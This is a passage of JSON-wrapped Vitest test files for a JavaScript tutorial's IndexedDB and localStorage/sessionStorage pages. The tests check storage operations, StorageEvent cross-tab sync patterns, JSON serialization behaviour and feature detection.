expect(pending[1].action.type).toBe('C')\n    })\n  })\n\n  // ============================================================\n  // TRANSACTION MODE CONCEPTS\n  // From indexeddb.mdx lines 227-261\n  // ============================================================\n\n  describe('Transaction Mode Concepts', () => {\n    it('should understand readonly vs readwrite modes', () => {\n      const transactionModes = {\n        readonly: {\n          canRead: true,\n          canWrite: false,\n          canRunInParallel: true,\n          description: 'Only reading data (faster, can run in parallel)'\n        },\n        readwrite: {\n          canRead: true,\n          canWrite: true,\n          canRunInParallel: false,\n          description: 'Reading and writing (locks the store)'\n        }\n      }\n\n      // Readonly mode\n      expect(transactionModes.readonly.canRead).toBe(true)\n      expect(transactionModes.readonly.canWrite).toBe(false)\n      expect(transactionModes.readonly.canRunInParallel).toBe(true)\n\n      // Readwrite mode\n      expect(transactionModes.readwrite.canRead).toBe(true)\n      expect(transactionModes.readwrite.canWrite).toBe(true)\n      expect(transactionModes.readwrite.canRunInParallel).toBe(false)\n    })\n  })\n\n  // ============================================================\n  // STORAGE COMPARISON DATA\n  // From indexeddb.mdx lines 318-330\n  // ============================================================\n\n  describe('Storage Comparison Data', () => {\n    it('should correctly represent storage feature differences', () => {\n      const storageOptions = {\n        localStorage: {\n          storageLimit: '~5MB',\n          dataTypes: 'Strings only',\n          async: false,\n          queryable: false,\n          transactions: false,\n          persists: 'Until cleared',\n          workerAccess: false\n        },\n        sessionStorage: {\n          storageLimit: '~5MB',\n          dataTypes: 'Strings only',\n          async: false,\n          queryable: false,\n          transactions: false,\n          persists: 'Until tab closes',\n          workerAccess: false\n        },\n        indexedDB: {\n          storageLimit: 'Gigabytes',\n          dataTypes: 'Any JS value',\n          async: true,\n          queryable: true,\n          transactions: true,\n          persists: 'Until cleared',\n          workerAccess: true\n        },\n        cookies: {\n          storageLimit: '~4KB',\n          dataTypes: 'Strings only',\n          async: false,\n          queryable: false,\n          transactions: false,\n          persists: 'Configurable',\n          workerAccess: false\n        }\n      }\n\n      // IndexedDB advantages\n      expect(storageOptions.indexedDB.async).toBe(true)\n      expect(storageOptions.indexedDB.queryable).toBe(true)\n      expect(storageOptions.indexedDB.transactions).toBe(true)\n      expect(storageOptions.indexedDB.workerAccess).toBe(true)\n      \n      // localStorage limitations\n      expect(storageOptions.localStorage.async).toBe(false)\n      expect(storageOptions.localStorage.dataTypes).toBe('Strings only')\n      \n      // Cookies limitation\n      expect(storageOptions.cookies.storageLimit).toBe('~4KB')\n    })\n  })\n\n  // ============================================================\n  // VERSION MIGRATION PATTERN\n  // From indexeddb.mdx lines 130-150\n  // ============================================================\n\n  describe('Database Version Migration Pattern', () => {\n    it('should handle version-based migrations correctly', () => {\n      function runMigrations(db, oldVersion) {\n        const migrations = []\n\n        if (oldVersion < 1) {\n          migrations.push('create users store')\n        }\n        if (oldVersion < 2) {\n          migrations.push('create posts store')\n        }\n        if (oldVersion < 3) {\n          migrations.push('add email index to users')\n        }\n\n        return migrations\n      }\n\n      // Fresh install (version 0 -> 3)\n      expect(runMigrations({}, 0)).toEqual([\n        'create users store',\n        'create posts store',\n        'add email index to users'\n      ])\n\n      // Upgrade from version 1 -> 3\n      expect(runMigrations({}, 1)).toEqual([\n        'create posts store',\n        'add email index to users'\n      ])\n\n      // Upgrade from version 2 -> 3\n      expect(runMigrations({}, 2)).toEqual([\n        'add email index to users'\n      ])\n\n      // Already at version 3\n      expect(runMigrations({}, 3)).toEqual([])\n    })\n  })\n\n  // ============================================================\n  // ADD VS PUT BEHAVIOR\n  // From indexeddb.mdx lines 185-188\n  // ============================================================\n\n  describe('add() vs put() Behavior', () => {\n    it('should demonstrate add() fails on duplicate keys', async () => {\n      const store = new Map()\n      \n      function add(key, value) {\n        if (store.has(key)) {\n          throw new Error('Key already exists')\n        }\n        store.set(key, value)\n      }\n\n      add(1, { name: 'Alice' })\n      expect(store.get(1)).toEqual({ name: 'Alice' })\n\n      // Adding same key should throw\n      expect(() => add(1, { name: 'Bob' })).toThrow('Key already exists')\n    })\n\n    it('should demonstrate put() inserts or updates', () => {\n      const store = new Map()\n      \n      function put(key, value) {\n        store.set(key, value)  // Always succeeds\n      }\n\n      put(1, { name: 'Alice' })\n      expect(store.get(1)).toEqual({ name: 'Alice' })\n\n      // Put with same key should update\n      put(1, { name: 'Alice Updated' })\n      expect(store.get(1)).toEqual({ name: 'Alice Updated' })\n    })\n  })\n\n  // ============================================================\n  // OBJECT STORE CONFIGURATION\n  // From indexeddb.mdx lines 154-178\n  // ============================================================\n\n  describe('Object Store Configuration Options', () => {\n    it('should understand keyPath option', () => {\n      const config = { keyPath: 'id' }\n      \n      // Records must have the keyPath property\n      const validRecord = { id: 1, name: 'Alice' }\n      const invalidRecord = { name: 'Bob' }  // Missing 'id'\n      \n      expect(validRecord[config.keyPath]).toBe(1)\n      expect(invalidRecord[config.keyPath]).toBeUndefined()\n    })\n\n    it('should understand autoIncrement option', () => {\n      const config = { autoIncrement: true }\n      let counter = 0\n      \n      function generateKey() {\n        return ++counter\n      }\n      \n      expect(generateKey()).toBe(1)\n      expect(generateKey()).toBe(2)\n      expect(generateKey()).toBe(3)\n    })\n\n    it('should understand combined keyPath and autoIncrement', () => {\n      const config = { keyPath: 'id', autoIncrement: true }\n      let counter = 0\n      \n      function addRecord(record) {\n        if (!record[config.keyPath]) {\n          record[config.keyPath] = ++counter\n        }\n        return record\n      }\n      \n      const record1 = addRecord({ name: 'Alice' })\n      expect(record1.id).toBe(1)\n      \n      const record2 = addRecord({ name: 'Bob' })\n      expect(record2.id).toBe(2)\n      \n      // If id is already provided, use it\n      const record3 = addRecord({ id: 100, name: 'Charlie' })\n      expect(record3.id).toBe(100)\n    })\n  })\n\n  // ============================================================\n  // CURSOR ITERATION PATTERN\n  // From indexeddb.mdx lines 272-292\n  // ============================================================\n\n  describe('Cursor Iteration Pattern', () => {\n    it('should iterate through records one at a time', () => {\n      const records = [\n        { id: 1, name: 'Alice' },\n        { id: 2, name: 'Bob' },\n        { id: 3, name: 'Charlie' }\n      ]\n      \n      let index = 0\n      const results = []\n      \n      // Simulating cursor behavior\n      function openCursor() {\n        return {\n          get current() {\n            if (index < records.length) {\n              return {\n                key: records[index].id,\n                value: records[index]\n              }\n            }\n            return null\n          },\n          continue() {\n            index++\n          }\n        }\n      }\n      \n      const cursor = openCursor()\n      \n      while (cursor.current) {\n        results.push({ key: cursor.current.key, value: cursor.current.value })\n        cursor.continue()\n      }\n      \n      expect(results).toHaveLength(3)\n      expect(results[0].key).toBe(1)\n      expect(results[0].value.name).toBe('Alice')\n      expect(results[2].key).toBe(3)\n      expect(results[2].value.name).toBe('Charlie')\n    })\n  })\n})\n"
  },
  {
    "path": "tests/beyond/browser-storage/localstorage-sessionstorage/localstorage-sessionstorage.dom.test.js",
    "content": "/**\n * DOM-specific tests for localStorage & sessionStorage concept page\n * Focuses on StorageEvent and cross-tab communication concepts\n * \n * @see /docs/beyond/concepts/localstorage-sessionstorage.mdx\n * \n * @vitest-environment jsdom\n */\n\nimport { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'\n\ndescribe('StorageEvent and DOM Interactions', () => {\n  beforeEach(() => {\n    localStorage.clear()\n    sessionStorage.clear()\n  })\n\n  afterEach(() => {\n    localStorage.clear()\n    sessionStorage.clear()\n  })\n\n  describe('StorageEvent Interface', () => {\n    // Tests for MDX lines ~400-430 (StorageEvent properties)\n    it('should create StorageEvent with correct properties', () => {\n      const event = new StorageEvent('storage', {\n        key: 'theme',\n        oldValue: 'light',\n        newValue: 'dark',\n        url: 'http://example.com',\n        storageArea: localStorage\n      })\n      \n      expect(event.key).toBe('theme')\n      expect(event.oldValue).toBe('light')\n      expect(event.newValue).toBe('dark')\n      expect(event.url).toBe('http://example.com')\n      expect(event.storageArea).toBe(localStorage)\n    })\n\n    it('should have null key when clear() is called', () => {\n      const event = new StorageEvent('storage', {\n        key: null,\n        oldValue: null,\n        newValue: null,\n        storageArea: localStorage\n      })\n      \n      expect(event.key).toBeNull()\n    })\n\n    it('should have null oldValue for new keys', () => {\n      const event = new StorageEvent('storage', {\n        key: 'newKey',\n        oldValue: null,\n        newValue: 'value',\n        storageArea: localStorage\n      })\n      \n      expect(event.oldValue).toBeNull()\n      expect(event.newValue).toBe('value')\n    })\n\n    it('should have null newValue when key is removed', () => {\n      const event = new StorageEvent('storage', {\n        key: 'removedKey',\n        oldValue: 'previousValue',\n        newValue: null,\n        storageArea: localStorage\n      })\n      \n      expect(event.oldValue).toBe('previousValue')\n      expect(event.newValue).toBeNull()\n    })\n  })\n\n  describe('Storage Event Listener Pattern', () => {\n    // Tests for MDX lines ~410-425 (event listener pattern)\n    it('should be able to add storage event listener', () => {\n      const handler = vi.fn()\n      \n      window.addEventListener('storage', handler)\n      \n      // Manually dispatch a storage event (simulating cross-tab change)\n      const event = new StorageEvent('storage', {\n        key: 'test',\n        oldValue: null,\n        newValue: 'value',\n        url: 'http://localhost',\n        storageArea: localStorage\n      })\n      \n      window.dispatchEvent(event)\n      \n      expect(handler).toHaveBeenCalledTimes(1)\n      expect(handler.mock.calls[0][0].key).toBe('test')\n      \n      window.removeEventListener('storage', handler)\n    })\n\n    it('should receive all StorageEvent properties in handler', () => {\n      const receivedEvent = { key: null, oldValue: null, newValue: null, url: null }\n      \n      const handler = (event) => {\n        receivedEvent.key = event.key\n        receivedEvent.oldValue = event.oldValue\n        receivedEvent.newValue = event.newValue\n        receivedEvent.url = event.url\n      }\n      \n      window.addEventListener('storage', handler)\n      \n      const event = new StorageEvent('storage', {\n        key: 'theme',\n        oldValue: 'light',\n        newValue: 'dark',\n        url: 'http://example.com/page',\n        storageArea: localStorage\n      })\n      \n      window.dispatchEvent(event)\n      \n      expect(receivedEvent.key).toBe('theme')\n      expect(receivedEvent.oldValue).toBe('light')\n      expect(receivedEvent.newValue).toBe('dark')\n      expect(receivedEvent.url).toBe('http://example.com/page')\n      \n      window.removeEventListener('storage', handler)\n    })\n\n    it('should support addEventListener for storage events', () => {\n      // Note: window.onstorage property may not work in jsdom\n      // but addEventListener always works\n      const handler = vi.fn()\n      \n      window.addEventListener('storage', handler)\n      \n      const event = new StorageEvent('storage', {\n        key: 'data',\n        newValue: 'updated'\n      })\n      \n      window.dispatchEvent(event)\n      \n      expect(handler).toHaveBeenCalledTimes(1)\n      expect(handler.mock.calls[0][0].key).toBe('data')\n      \n      window.removeEventListener('storage', handler)\n    })\n  })\n\n  describe('Auth Sync Pattern', () => {\n    // Tests for MDX lines ~445-470 (auth sync pattern)\n    it('should detect logout from another tab', () => {\n      let redirectCalled = false\n      let redirectUrl = ''\n      \n      // Mock the redirect\n      const mockRedirect = (url) => {\n        redirectCalled = true\n        redirectUrl = url\n      }\n      \n      const setupAuthSync = () => {\n        window.addEventListener('storage', (event) => {\n          if (event.key === 'authToken' && event.newValue === null) {\n            mockRedirect('/login')\n          }\n        })\n      }\n      \n      setupAuthSync()\n      \n      // Simulate logout from another tab\n      const logoutEvent = new StorageEvent('storage', {\n        key: 'authToken',\n        oldValue: 'some-token',\n        newValue: null,  // Token removed = logged out\n        storageArea: localStorage\n      })\n      \n      window.dispatchEvent(logoutEvent)\n      \n      expect(redirectCalled).toBe(true)\n      expect(redirectUrl).toBe('/login')\n    })\n\n    it('should detect login from another tab', () => {\n      let reloadCalled = false\n      \n      const handler = (event) => {\n        if (event.key === 'authToken' && event.oldValue === null && event.newValue) {\n          reloadCalled = true\n        }\n      }\n      \n      window.addEventListener('storage', handler)\n      \n      // Simulate login from another tab\n      const loginEvent = new StorageEvent('storage', {\n        key: 'authToken',\n        oldValue: null,  // No previous token\n        newValue: 'new-token',  // Now logged in\n        storageArea: localStorage\n      })\n      \n      window.dispatchEvent(loginEvent)\n      \n      expect(reloadCalled).toBe(true)\n      \n      window.removeEventListener('storage', handler)\n    })\n\n    it('should ignore non-auth storage changes', () => {\n      let authActionTaken = false\n      \n      const handler = (event) => {\n        if (event.key === 'authToken') {\n          authActionTaken = true\n        }\n      }\n      \n      window.addEventListener('storage', handler)\n      \n      // Non-auth change\n      const otherEvent = new StorageEvent('storage', {\n        key: 'theme',\n        oldValue: 'light',\n        newValue: 'dark',\n        storageArea: localStorage\n      })\n      \n      window.dispatchEvent(otherEvent)\n      \n      expect(authActionTaken).toBe(false)\n      \n      window.removeEventListener('storage', handler)\n    })\n  })\n\n  describe('Storage Event Filtering', () => {\n    it('should filter events by key', () => {\n      const themeChanges = []\n      \n      const handler = (event) => {\n        if (event.key === 'theme') {\n          themeChanges.push(event.newValue)\n        }\n      }\n      \n      window.addEventListener('storage', handler)\n      \n      // Theme change\n      window.dispatchEvent(new StorageEvent('storage', {\n        key: 'theme',\n        newValue: 'dark'\n      }))\n      \n      // Other change (should be ignored)\n      window.dispatchEvent(new StorageEvent('storage', {\n        key: 'language',\n        newValue: 'en'\n      }))\n      \n      // Another theme change\n      window.dispatchEvent(new StorageEvent('storage', {\n        key: 'theme',\n        newValue: 'light'\n      }))\n      \n      expect(themeChanges).toEqual(['dark', 'light'])\n      \n      window.removeEventListener('storage', handler)\n    })\n\n    it('should detect clear() operation by null key', () => {\n      let clearDetected = false\n      \n      const handler = (event) => {\n        if (event.key === null) {\n          clearDetected = true\n        }\n      }\n      \n      window.addEventListener('storage', handler)\n      \n      // Simulate clear() from another tab\n      window.dispatchEvent(new StorageEvent('storage', {\n        key: null,\n        oldValue: null,\n        newValue: null,\n        storageArea: localStorage\n      }))\n      \n      expect(clearDetected).toBe(true)\n      \n      window.removeEventListener('storage', handler)\n    })\n  })\n\n  describe('Feature Detection Pattern', () => {\n    // Tests for MDX lines ~520-545 (full feature detection)\n    it('should correctly detect localStorage availability', () => {\n      function storageAvailable(type) {\n        try {\n          const storage = window[type]\n          const testKey = \"__storage_test__\"\n          storage.setItem(testKey, testKey)\n          storage.removeItem(testKey)\n          return true\n        } catch (error) {\n          return (\n            error instanceof DOMException &&\n            error.name === \"QuotaExceededError\" &&\n            storage && storage.length !== 0\n          )\n        }\n      }\n      \n      // In jsdom environment, localStorage should be available\n      expect(storageAvailable(\"localStorage\")).toBe(true)\n      expect(storageAvailable(\"sessionStorage\")).toBe(true)\n    })\n\n    it('should handle non-existent storage types', () => {\n      function storageAvailable(type) {\n        try {\n          const storage = window[type]\n          if (!storage) return false\n          const testKey = \"__storage_test__\"\n          storage.setItem(testKey, testKey)\n          storage.removeItem(testKey)\n          return true\n        } catch (error) {\n          return false\n        }\n      }\n      \n      expect(storageAvailable(\"fakeStorage\")).toBe(false)\n    })\n  })\n\n  describe('Cross-Tab Data Synchronization Patterns', () => {\n    it('should demonstrate cart sync pattern', () => {\n      const carts = { tab1: [], tab2: [] }\n      \n      // Tab 1 handler\n      const tab1Handler = (event) => {\n        if (event.key === 'cart') {\n          carts.tab1 = JSON.parse(event.newValue || '[]')\n        }\n      }\n      \n      // Tab 2 handler\n      const tab2Handler = (event) => {\n        if (event.key === 'cart') {\n          carts.tab2 = JSON.parse(event.newValue || '[]')\n        }\n      }\n      \n      window.addEventListener('storage', tab1Handler)\n      window.addEventListener('storage', tab2Handler)\n      \n      // Simulate cart update from another context\n      const cartData = [\n        { id: 1, name: \"Product A\", qty: 2 },\n        { id: 2, name: \"Product B\", qty: 1 }\n      ]\n      \n      window.dispatchEvent(new StorageEvent('storage', {\n        key: 'cart',\n        oldValue: '[]',\n        newValue: JSON.stringify(cartData),\n        storageArea: localStorage\n      }))\n      \n      expect(carts.tab1).toEqual(cartData)\n      expect(carts.tab2).toEqual(cartData)\n      \n      window.removeEventListener('storage', tab1Handler)\n      window.removeEventListener('storage', tab2Handler)\n    })\n\n    it('should handle settings sync across tabs', () => {\n      const settings = {}\n      \n      const handler = (event) => {\n        if (event.key && event.key.startsWith('setting_')) {\n          const settingName = event.key.replace('setting_', '')\n          settings[settingName] = event.newValue\n        }\n      }\n      \n      window.addEventListener('storage', handler)\n      \n      // Multiple settings changes\n      window.dispatchEvent(new StorageEvent('storage', {\n        key: 'setting_theme',\n        newValue: 'dark'\n      }))\n      \n      window.dispatchEvent(new StorageEvent('storage', {\n        key: 'setting_fontSize',\n        newValue: '16px'\n      }))\n      \n      window.dispatchEvent(new StorageEvent('storage', {\n        key: 'setting_language',\n        newValue: 'en'\n      }))\n      \n      expect(settings).toEqual({\n        theme: 'dark',\n        fontSize: '16px',\n        language: 'en'\n      })\n      \n      window.removeEventListener('storage', handler)\n    })\n  })\n\n  describe('StorageEvent with sessionStorage', () => {\n    it('should work with sessionStorage area', () => {\n      let eventReceived = null\n      \n      const handler = (event) => {\n        if (event.storageArea === sessionStorage) {\n          eventReceived = event\n        }\n      }\n      \n      window.addEventListener('storage', handler)\n      \n      window.dispatchEvent(new StorageEvent('storage', {\n        key: 'sessionKey',\n        newValue: 'sessionValue',\n        storageArea: sessionStorage\n      }))\n      \n      expect(eventReceived).not.toBeNull()\n      expect(eventReceived.key).toBe('sessionKey')\n      expect(eventReceived.storageArea).toBe(sessionStorage)\n      \n      window.removeEventListener('storage', handler)\n    })\n\n    it('should distinguish between localStorage and sessionStorage events', () => {\n      const localEvents = []\n      const sessionEvents = []\n      \n      const handler = (event) => {\n        if (event.storageArea === localStorage) {\n          localEvents.push(event.key)\n        } else if (event.storageArea === sessionStorage) {\n          sessionEvents.push(event.key)\n        }\n      }\n      \n      window.addEventListener('storage', handler)\n      \n      window.dispatchEvent(new StorageEvent('storage', {\n        key: 'localKey',\n        storageArea: localStorage\n      }))\n      \n      window.dispatchEvent(new StorageEvent('storage', {\n        key: 'sessionKey',\n        storageArea: sessionStorage\n      }))\n      \n      expect(localEvents).toEqual(['localKey'])\n      expect(sessionEvents).toEqual(['sessionKey'])\n      \n      window.removeEventListener('storage', handler)\n    })\n  })\n\n  describe('Error Handling in Storage Events', () => {\n    it('should handle JSON parse errors in event handlers gracefully', () => {\n      let errorOccurred = false\n      let parsedData = null\n      \n      const handler = (event) => {\n        try {\n          parsedData = JSON.parse(event.newValue)\n        } catch (e) {\n          errorOccurred = true\n          parsedData = null\n        }\n      }\n      \n      window.addEventListener('storage', handler)\n      \n      // Invalid JSON in storage\n      window.dispatchEvent(new StorageEvent('storage', {\n        key: 'data',\n        newValue: 'not valid json {'\n      }))\n      \n      expect(errorOccurred).toBe(true)\n      expect(parsedData).toBeNull()\n      \n      window.removeEventListener('storage', handler)\n    })\n\n    it('should handle null newValue (key removal)', () => {\n      let removed = false\n      \n      const handler = (event) => {\n        if (event.newValue === null) {\n          removed = true\n        }\n      }\n      \n      window.addEventListener('storage', handler)\n      \n      window.dispatchEvent(new StorageEvent('storage', {\n        key: 'deletedKey',\n        oldValue: 'previousValue',\n        newValue: null\n      }))\n      \n      expect(removed).toBe(true)\n      \n      window.removeEventListener('storage', handler)\n    })\n  })\n})\n"
  },
  {
    "path": "tests/beyond/browser-storage/localstorage-sessionstorage/localstorage-sessionstorage.test.js",
    "content": "/**\n * Tests for localStorage & sessionStorage concept page\n * @see /docs/beyond/concepts/localstorage-sessionstorage.mdx\n * \n * @vitest-environment jsdom\n */\n\nimport { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'\n\ndescribe('localStorage & sessionStorage', () => {\n  // Clear storage before and after each test\n  beforeEach(() => {\n    localStorage.clear()\n    sessionStorage.clear()\n  })\n\n  afterEach(() => {\n    localStorage.clear()\n    sessionStorage.clear()\n  })\n\n  describe('Basic localStorage Operations', () => {\n    // Tests for MDX lines ~10-18 (opening code example)\n    it('should store and retrieve string values with setItem/getItem', () => {\n      localStorage.setItem(\"theme\", \"dark\")\n      const theme = localStorage.getItem(\"theme\")\n      \n      expect(theme).toBe(\"dark\")\n    })\n\n    it('should return null for non-existent keys', () => {\n      const missing = localStorage.getItem(\"nonexistent\")\n      \n      expect(missing).toBeNull()\n    })\n\n    it('should update existing values with setItem', () => {\n      localStorage.setItem(\"username\", \"alice\")\n      localStorage.setItem(\"username\", \"bob\")\n      \n      expect(localStorage.getItem(\"username\")).toBe(\"bob\")\n    })\n\n    it('should remove items with removeItem', () => {\n      localStorage.setItem(\"toRemove\", \"value\")\n      localStorage.removeItem(\"toRemove\")\n      \n      expect(localStorage.getItem(\"toRemove\")).toBeNull()\n    })\n\n    it('should clear all items with clear()', () => {\n      localStorage.setItem(\"a\", \"1\")\n      localStorage.setItem(\"b\", \"2\")\n      localStorage.setItem(\"c\", \"3\")\n      \n      localStorage.clear()\n      \n      expect(localStorage.length).toBe(0)\n    })\n\n    it('should return key at index with key()', () => {\n      localStorage.setItem(\"a\", \"1\")\n      localStorage.setItem(\"b\", \"2\")\n      \n      // Note: order is not guaranteed, but both keys should exist\n      const keys = [localStorage.key(0), localStorage.key(1)]\n      expect(keys).toContain(\"a\")\n      expect(keys).toContain(\"b\")\n    })\n\n    it('should return null for out of bounds key index', () => {\n      localStorage.setItem(\"a\", \"1\")\n      \n      expect(localStorage.key(99)).toBeNull()\n    })\n\n    it('should track length property correctly', () => {\n      expect(localStorage.length).toBe(0)\n      \n      localStorage.setItem(\"x\", \"1\")\n      expect(localStorage.length).toBe(1)\n      \n      localStorage.setItem(\"y\", \"2\")\n      expect(localStorage.length).toBe(2)\n      \n      localStorage.removeItem(\"x\")\n      expect(localStorage.length).toBe(1)\n    })\n  })\n\n  describe('Basic sessionStorage Operations', () => {\n    it('should store and retrieve values like localStorage', () => {\n      sessionStorage.setItem(\"formDraft\", \"Hello...\")\n      \n      expect(sessionStorage.getItem(\"formDraft\")).toBe(\"Hello...\")\n    })\n\n    it('should maintain separate storage from localStorage', () => {\n      localStorage.setItem(\"key\", \"local\")\n      sessionStorage.setItem(\"key\", \"session\")\n      \n      expect(localStorage.getItem(\"key\")).toBe(\"local\")\n      expect(sessionStorage.getItem(\"key\")).toBe(\"session\")\n    })\n\n    it('should support all the same API methods', () => {\n      sessionStorage.setItem(\"a\", \"1\")\n      sessionStorage.setItem(\"b\", \"2\")\n      \n      expect(sessionStorage.length).toBe(2)\n      expect(sessionStorage.key(0)).not.toBeNull()\n      \n      sessionStorage.removeItem(\"a\")\n      expect(sessionStorage.length).toBe(1)\n      \n      sessionStorage.clear()\n      expect(sessionStorage.length).toBe(0)\n    })\n  })\n\n  describe('Storing Complex Data with JSON', () => {\n    // Tests for MDX lines ~280-340 (JSON section)\n    describe('Automatic string conversion problems', () => {\n      it('should convert numbers to strings', () => {\n        localStorage.setItem(\"count\", 42)\n        \n        expect(typeof localStorage.getItem(\"count\")).toBe(\"string\")\n        expect(localStorage.getItem(\"count\")).toBe(\"42\")\n      })\n\n      it('should convert booleans to strings', () => {\n        localStorage.setItem(\"isActive\", true)\n        \n        expect(localStorage.getItem(\"isActive\")).toBe(\"true\")\n        expect(localStorage.getItem(\"isActive\")).not.toBe(true)\n      })\n\n      it('should lose object data without JSON.stringify', () => {\n        localStorage.setItem(\"user\", { name: \"Alice\" })\n        \n        expect(localStorage.getItem(\"user\")).toBe(\"[object Object]\")\n      })\n\n      it('should convert arrays to comma-separated strings', () => {\n        localStorage.setItem(\"items\", [1, 2, 3])\n        \n        expect(localStorage.getItem(\"items\")).toBe(\"1,2,3\")\n      })\n    })\n\n    describe('JSON.stringify and JSON.parse solution', () => {\n      it('should properly store and retrieve objects', () => {\n        const user = { name: \"Alice\", age: 30, roles: [\"admin\", \"user\"] }\n        localStorage.setItem(\"user\", JSON.stringify(user))\n        \n        const storedUser = JSON.parse(localStorage.getItem(\"user\"))\n        \n        expect(storedUser.name).toBe(\"Alice\")\n        expect(storedUser.age).toBe(30)\n        expect(storedUser.roles).toEqual([\"admin\", \"user\"])\n      })\n\n      it('should properly store and retrieve arrays', () => {\n        const favorites = [\"item1\", \"item2\", \"item3\"]\n        localStorage.setItem(\"favorites\", JSON.stringify(favorites))\n        \n        const storedFavorites = JSON.parse(localStorage.getItem(\"favorites\"))\n        \n        expect(storedFavorites).toEqual(favorites)\n        expect(storedFavorites[0]).toBe(\"item1\")\n      })\n\n      it('should handle nested objects', () => {\n        const data = {\n          user: {\n            profile: {\n              name: \"Bob\",\n              settings: { theme: \"dark\" }\n            }\n          }\n        }\n        localStorage.setItem(\"data\", JSON.stringify(data))\n        \n        const stored = JSON.parse(localStorage.getItem(\"data\"))\n        \n        expect(stored.user.profile.name).toBe(\"Bob\")\n        expect(stored.user.profile.settings.theme).toBe(\"dark\")\n      })\n    })\n\n    describe('JSON Gotchas', () => {\n      it('should convert Date objects to strings', () => {\n        const now = new Date(\"2024-01-15T12:00:00Z\")\n        const data = { created: now }\n        localStorage.setItem(\"data\", JSON.stringify(data))\n        \n        const parsed = JSON.parse(localStorage.getItem(\"data\"))\n        \n        expect(typeof parsed.created).toBe(\"string\")\n        // Can be parsed back to Date\n        const restoredDate = new Date(parsed.created)\n        expect(restoredDate.getTime()).toBe(now.getTime())\n      })\n\n      it('should lose undefined values in objects', () => {\n        const obj = { a: 1, b: undefined }\n        const stringified = JSON.stringify(obj)\n        \n        expect(stringified).toBe('{\"a\":1}')\n        expect(JSON.parse(stringified).b).toBeUndefined()\n      })\n\n      it('should lose function properties', () => {\n        const withFunction = { greet: () => \"hello\", name: \"test\" }\n        const stringified = JSON.stringify(withFunction)\n        \n        expect(stringified).toBe('{\"name\":\"test\"}')\n      })\n\n      it('should throw on circular references', () => {\n        const circular = { name: \"test\" }\n        circular.self = circular\n        \n        expect(() => JSON.stringify(circular)).toThrow(TypeError)\n      })\n    })\n  })\n\n  describe('Storage Wrapper Utility', () => {\n    // Tests for the storage wrapper from MDX lines ~340-375\n    const storage = {\n      set(key, value) {\n        try {\n          localStorage.setItem(key, JSON.stringify(value))\n          return true\n        } catch (error) {\n          return false\n        }\n      },\n      \n      get(key, defaultValue = null) {\n        try {\n          const item = localStorage.getItem(key)\n          return item ? JSON.parse(item) : defaultValue\n        } catch (error) {\n          return defaultValue\n        }\n      },\n      \n      remove(key) {\n        localStorage.removeItem(key)\n      },\n      \n      clear() {\n        localStorage.clear()\n      }\n    }\n\n    it('should store objects without manual stringify', () => {\n      storage.set(\"user\", { name: \"Alice\", premium: true })\n      \n      const user = storage.get(\"user\")\n      \n      expect(user).toEqual({ name: \"Alice\", premium: true })\n    })\n\n    it('should return default value for missing keys', () => {\n      const missing = storage.get(\"nonexistent\", { guest: true })\n      \n      expect(missing).toEqual({ guest: true })\n    })\n\n    it('should return null by default for missing keys', () => {\n      const missing = storage.get(\"nonexistent\")\n      \n      expect(missing).toBeNull()\n    })\n\n    it('should handle remove and clear operations', () => {\n      storage.set(\"a\", 1)\n      storage.set(\"b\", 2)\n      \n      storage.remove(\"a\")\n      expect(storage.get(\"a\")).toBeNull()\n      expect(storage.get(\"b\")).toBe(2)\n      \n      storage.clear()\n      expect(storage.get(\"b\")).toBeNull()\n    })\n\n    it('should return default on invalid JSON', () => {\n      localStorage.setItem(\"invalid\", \"not-json{\")\n      \n      const result = storage.get(\"invalid\", \"fallback\")\n      \n      expect(result).toBe(\"fallback\")\n    })\n  })\n\n  describe('Storage API Demo Function', () => {\n    // Test for the complete demonstrateStorageAPI example (MDX lines ~240-270)\n    it('should correctly demonstrate all storage operations', () => {\n      // Clear previous data\n      localStorage.clear()\n      \n      // Store some items\n      localStorage.setItem(\"name\", \"Alice\")\n      localStorage.setItem(\"role\", \"Developer\")\n      localStorage.setItem(\"level\", \"Senior\")\n      \n      expect(localStorage.length).toBe(3)\n      expect(localStorage.getItem(\"name\")).toBe(\"Alice\")\n      \n      // Update an item\n      localStorage.setItem(\"level\", \"Lead\")\n      expect(localStorage.getItem(\"level\")).toBe(\"Lead\")\n      \n      // Collect all items\n      const items = {}\n      for (let i = 0; i < localStorage.length; i++) {\n        const key = localStorage.key(i)\n        items[key] = localStorage.getItem(key)\n      }\n      \n      expect(items.name).toBe(\"Alice\")\n      expect(items.role).toBe(\"Developer\")\n      expect(items.level).toBe(\"Lead\")\n      \n      // Remove one item\n      localStorage.removeItem(\"role\")\n      expect(localStorage.length).toBe(2)\n      \n      // Clear everything\n      localStorage.clear()\n      expect(localStorage.length).toBe(0)\n    })\n  })\n\n  describe('Feature Detection', () => {\n    // Tests for the storageAvailable function (MDX lines ~520-545)\n    function storageAvailable(type) {\n      try {\n        const storage = window[type]\n        const testKey = \"__storage_test__\"\n        storage.setItem(testKey, testKey)\n        storage.removeItem(testKey)\n        return true\n      } catch (error) {\n        return false\n      }\n    }\n\n    it('should return true when localStorage is available', () => {\n      expect(storageAvailable(\"localStorage\")).toBe(true)\n    })\n\n    it('should return true when sessionStorage is available', () => {\n      expect(storageAvailable(\"sessionStorage\")).toBe(true)\n    })\n\n    it('should return false for invalid storage type', () => {\n      expect(storageAvailable(\"invalidStorage\")).toBe(false)\n    })\n  })\n\n  describe('Common Patterns', () => {\n    describe('Theme/Dark Mode Preference', () => {\n      // Tests for MDX lines ~640-665\n      function setTheme(theme) {\n        return localStorage.setItem(\"theme\", theme)\n      }\n\n      function loadTheme() {\n        const savedTheme = localStorage.getItem(\"theme\")\n        return savedTheme || \"light\"\n      }\n\n      function toggleTheme() {\n        const current = localStorage.getItem(\"theme\") || \"light\"\n        const newTheme = current === \"light\" ? \"dark\" : \"light\"\n        localStorage.setItem(\"theme\", newTheme)\n        return newTheme\n      }\n\n      it('should save and load theme preference', () => {\n        setTheme(\"dark\")\n        expect(loadTheme()).toBe(\"dark\")\n        \n        setTheme(\"light\")\n        expect(loadTheme()).toBe(\"light\")\n      })\n\n      it('should default to light theme when none saved', () => {\n        localStorage.clear()\n        expect(loadTheme()).toBe(\"light\")\n      })\n\n      it('should toggle between light and dark', () => {\n        localStorage.clear()\n        \n        expect(toggleTheme()).toBe(\"dark\")\n        expect(toggleTheme()).toBe(\"light\")\n        expect(toggleTheme()).toBe(\"dark\")\n      })\n    })\n\n    describe('Multi-Step Form Wizard', () => {\n      // Tests for MDX lines ~670-695\n      function saveFormProgress(step, data) 